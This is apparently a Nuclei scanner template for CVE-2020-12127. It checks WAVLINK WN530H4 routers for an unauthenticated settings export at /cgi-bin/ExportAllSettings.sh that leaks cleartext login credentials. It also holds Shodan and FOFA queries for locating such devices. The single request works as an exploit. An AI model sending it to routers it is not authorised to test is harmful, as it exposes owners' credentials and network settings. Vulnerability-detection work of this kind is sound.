CVE-2020-12127: WAVLINK WN530H4 M30H4.V5030.190403 - Information Disclosure

id: CVE-2020-12127

info:
  name: WAVLINK WN530H4 M30H4.V5030.190403 - Information Disclosure
  author: arafatansari
  severity: high
  description: |
    WAVLINK WN530H4 M30H4.V5030.190403 contains an information disclosure vulnerability in the /cgi-bin/ExportAllSettings.sh endpoint. This can allow an attacker to leak router settings, including cleartext login details, DNS settings, and other sensitive information without authentication.
  impact: |
    An attacker can exploit this vulnerability to gain access to sensitive information, such as router configuration settings and user credentials.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the information disclosure vulnerability.
  reference:
    - https://cerne.xyz/bugs/CVE-2020-12127
    - https://www.wavlink.com/en_us/product/WL-WN530H4.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-12127
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-12127
    cwe-id: CWE-306
    epss-score: 0.1847
    epss-percentile: 0.94968
    cpe: cpe:2.3:o:wavlink:wn530h4_firmware:m30h4.v5030.190403:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wavlink
    product: wn530h4_firmware
    shodan-query:
      - http.html:"Wavlink"
      - http.html:"wavlink"
    fofa-query: body="wavlink"
  tags: cve,cve2020,wavlink,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/ExportAllSettings.sh"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Login='
          - 'Password='
          - 'Model='
          - 'AuthMode='
        condition: and

      - type: status
        status:
          - 200
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